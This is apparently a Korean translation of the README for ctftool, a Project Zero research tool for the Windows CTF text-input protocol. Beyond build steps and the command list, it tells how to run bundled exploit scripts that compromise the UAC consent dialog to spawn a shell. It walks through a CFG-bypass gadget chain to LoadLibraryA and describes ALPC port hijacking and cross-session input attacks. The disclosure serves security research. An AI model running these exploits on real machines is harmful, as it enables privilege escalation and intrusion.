
대화형 CTF 탐색 도구
시스템 익스플로잇을 테스트하고 싶으신가요? 여기를 클릭하세요.
이것은 ctftool로, Windows에서 텍스트 서비스를 구현하는 데 사용되는 잘 알려지지 않은 프로토콜인 CTF를 실험하기 위한 대화형 명령줄 도구입니다. Windows 내부를 연구하거나, 텍스트 입력 프로세서의 복잡한 문제를 디버깅하거나, Windows 보안을 분석하는 데 유용할 수 있습니다.
ctftool을 사용하여 CTF 클라이언트 또는 서버와의 상호작용을 자동화하거나 간단한 퍼징을 수행하는 간단한 스크립트를 작성할 수 있습니다.
이 도구의 출시와 함께 제공되는 블로그 게시물이 여기에 있습니다.
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool은 Windows 7, Windows 8 및 Windows 10에서 테스트되었습니다. 32비트 및 x64 버전 모두 지원되지만 x64가 더 광범위하게 테스트되었습니다.
대부분의 명령에 대한 온라인 도움말이 있습니다. help를 입력하면 명령 목록을 볼 수 있고, help <command>를 입력하면 특정 명령에 대한 자세한 도움말을 볼 수 있습니다.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
가장 먼저 할 일은 세션에 연결하고 어떤 클라이언트가 연결되어 있는지 확인하는 것입니다.
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
그런 다음 서버나 연결된 클라이언트에 명령을 보내고 받으며 실험할 수 있습니다.
직접 빌드하고 싶지 않다면 릴리스 탭을 확인하세요.
ctftool 개발에는 GNU make와 Visual Studio 2019를 사용했습니다. 32비트 빌드만 지원되며, 이는 도구가 x86 및 x64 Windows에서 실행될 수 있도록 하기 위함입니다.
모든 종속성이 설치되어 있다면 개발자 명령 프롬프트에서 make를 입력하는 것만으로 충분합니다.
저는 Visual Studio의 'Build Tools' 변형을 사용하며, 선택한 구성 요소는 MSVC, MSBuild, CMake 및 SDK뿐입니다.
이 프로젝트는 일부 종속성에 서브모듈을 사용하므로, 필요한 모든 코드를 가져오기 위해 다음과 같은 명령을 사용해야 합니다.
git submodule update --init --recursive
예제는 Windows 10 x64에서만 작동합니다. Windows XP 이후의 모든 플랫폼과 버전이 영향을 받지만, 현재 PoC는 구현되어 있지 않습니다.
이 도구는 수십 년 동안 존재해 온 CTF 프로토콜의 많은 심각한 보안 문제를 발견하는 데 사용되었습니다.
Windows 10 x64 1903에서 익스플로잇을 테스트하려면 ctftool.exe를 실행하거나 더블 클릭한 후 다음 명령을 입력하십시오:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .\scripts\ctf-consent-system.ctf
이 명령은 UAC 대화상자가 나타날 때까지 기다렸다가 이를 손상시키고 셸을 시작합니다.
사실 익스플로잇 코드는 독립적으로 사용할 수 있는 두 단계로 나뉩니다. 예를 들어, connect의 선택적 매개변수를 사용하여 다른 세션의 사용자에 속한 프로세스를 손상시킬 수 있습니다.
대부분의 CTF 클라이언트는 손상될 수 있습니다. 커널이 창을 그리는 응용 프로그램이 취약한 라이브러리를 로드하도록 강제하기 때문입니다.
간단히 세션에 연결하고, 손상시킬 클라이언트를 선택한 후(scan 및 thread 명령 또는 wait 사용) 다음을 입력하십시오:
ctf> script .\scripts\ctf-exploit-common-win10.ctf
대부분의 CTF 클라이언트에서 작동하는 CFG 점프 체인을 구축하는 것은 상당히 어려웠습니다. 최종 익스플로잇에는 두 가지 주요 구성 요소가 있습니다. 임의 쓰기 프리미티브와 레지스터를 설정하여 LoadLibrary()를 호출하는 것입니다.
dumpbin /headers /loadconfig를 사용하여 허용된 분기 대상 목록을 덤프할 수 있습니다.
예측 가능한 위치에 개체를 만들기 위해서는 임의 쓰기 가젯이 필요했습니다. 제가 찾을 수 있었던 가장 좋은 사용 가능한 가젯은 msvcrt!_init_time의 임의 dword 감소였습니다.
이는 우리가 원하는 값을 설정하는 대신 LSB가 원하는 값에 도달할 때까지 계속 감소시켜야 함을 의미합니다. 많은 작업이지만, (2^8 - 1) * len보다 더 많은 감소를 할 필요는 없습니다.

이 프리미티브를 사용하여 kernel32 .data 섹션의 사용되지 않는 여유 공간에 다음과 같은 개체를 만듭니다. 이미지의 일부여야 합니다. Windows에서 이미지 무작위화는 부팅별로 이루어지기 때문에 매핑 위치를 예측할 수 있어야 합니다.

(물론) 임의 쓰기 가젯은 많이 있었지만, 쓰기 후에 실행 제어를 다시 확보하는 것이 문제였습니다. 이는 상당히 어려웠고, 이것이 제가 더 간단한 것이 아닌 dword 감소에 갇힌 이유입니다.
MSCTF는 모든 예외를 catch하므로, SEH가 살아남을 수 있도록 스택을 망가뜨리지 않거나 손상을 일으키지 않고 매우 빠르게 충돌하는 임의 쓰기를 찾는 것이 과제였습니다.
msvcrt!_init_time 가젯은 제가 찾을 수 있는 최선이었으며, 몇 개의 명령어 내에서 더 이상 메모리를 손상시키지 않고 NULL을 역참조합니다. 즉, 무한히 반복할 수 있습니다.
레지스터를 조정하는 데 유용한 두 가지 가젯을 찾았습니다. 첫 번째는 다음과 같습니다.
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
두 번째는 다음과 같습니다.
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
이 두 가젯을 쓰기 가젯으로 만든 개체와 결합하면, 이들 사이를 튕기며 실행을 kernel32!LoadLibraryA로 리디렉션할 수 있습니다.
복잡하지만 점프 시퀀스는 다음과 같이 작동합니다.

관심이 있다면 디버거에서 확인해 보시기 바랍니다. sxd av 및 sxd bpe 명령을 사용해야 합니다. 그렇지 않으면 모든 쓰기에서 디버거가 중지됩니다!
메모리 손상 외에도 CTF가 노출하는 주요 취약점 클래스는 편집 세션 공격입니다. 일반적으로 권한이 없는 프로세스(예: 낮은 무결성)는 높은 권한의 프로세스에 입력을 보내거나 데이터를 읽는 것이 허용되지 않습니다. 이 보안 경계를 UIPI, 사용자 인터페이스 권한 격리라고 합니다.
CTF는 이러한 가정을 깨고 권한이 없는 프로세스가 권한 있는 프로세스에 입력을 보낼 수 있도록 합니다.
이 공격이 작동하려면 몇 가지 요구 사항이 있습니다. 제가 알기로는 OoP TIP(out-of-process text input processor)를 사용하는 표시 언어가 설치된 경우에만 작동합니다. IME(중국어, 일본어, 한국어 등)를 사용하는 입력 언어를 가진 사용자와 접근성 도구를 사용하는 사용자가 이 범주에 속합니다.
공격 예시는 다음과 같습니다.
스크립트 디렉터리에는 편집 세션이 어떻게 작동하는지 보여주기 위해 메모장 창에 입력을 보내는 예제 스크립트가 있습니다.
CTF 프로토콜에는 클라이언트와 서버 간에 인증이 없기 때문에 \BaseNamedObjects에 쓸 수 있는 필요한 권한을 가진 공격자는 CTF ALPC 포트를 생성하고 모니터인 척 할 수 있습니다.
이를 통해 모니터가 시행하는 모든 제한 사항을 우회할 수 있습니다.
이 공격을 실험해 보려면 ctftool에서 hijack 명령을 시도하십시오.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("\BaseNamedObjects\msctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
CTF 프로토콜에는 세션 격리가 없으므로 모든 프로세스가 모든 CTF 서버에 연결할 수 있습니다. 예를 들어, 터미널 서비스 사용자는 관리자를 포함한 다른 사용자의 프로세스와 상호 작용할 수 있습니다.
ctftool의 connect 명령은 이 공격을 실험하려는 경우 기본이 아닌 세션에 연결하는 것을 지원합니다.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
글을 쓰는 현재, Microsoft가 이 도구가 밝혀낸 수많은 설계 결함에 대응하여 CTF 프로토콜을 어떻게 변경할지는 알려지지 않았습니다.
그러한 이유로 이 도구를 개념 증명 상태로 간주하십시오.
Windows XP 이후의 모든 Windows 버전은 지원되는 모든 플랫폼에서 CTF를 사용합니다.
XP까지는 기본 시스템의 일부가 아니었지만, Windows 98 및 NT4와 같은 초기 버전에서는 Microsoft Office를 설치한 경우 CTF를 사용했습니다.
ctftool은 x86 및 x64에서 Windows 7 이상을 지원하지만, 이전 버전 및 다른 플랫폼도 지원될 수 있으며, 기여를 환영합니다.
Microsoft는 CTF가 무엇을 의미하는지 문서화하지 않으며, 텍스트 서비스 문서, SDK 샘플, 기호 이름, 헤더 파일 또는 다른 곳에서도 설명되지 않습니다. 제 이론은 헝가리안 표기법에서 클래스 이름을 지정할 수 있는 CTextFramework에서 유래했다는 것입니다.
일부 웹사이트에서는
ctfmon이 Clear Type Fonts 또는 Azure Collaborative Translation Framework와 관련이 있다고 주장합니다. 그들은 잘못 알고 있습니다.
업데이트: Jake Nelson이 'Common Text Framework'에 대한 증거를 찾았습니다.
Tavis Ormandy [email protected]
모든 원본 코드는 Apache 2.0 라이선스입니다. 자세한 내용은 LICENSE 파일을 참조하십시오.
다음 구성 요소는 가져온 타사 프로젝트입니다.
GetProcAddress()를 구현하는 데 사용됩니다. 이는 symbol 명령에서 사용되며, 동일한 바이너리가 x64 및 x86에서 작동할 수 있게 합니다.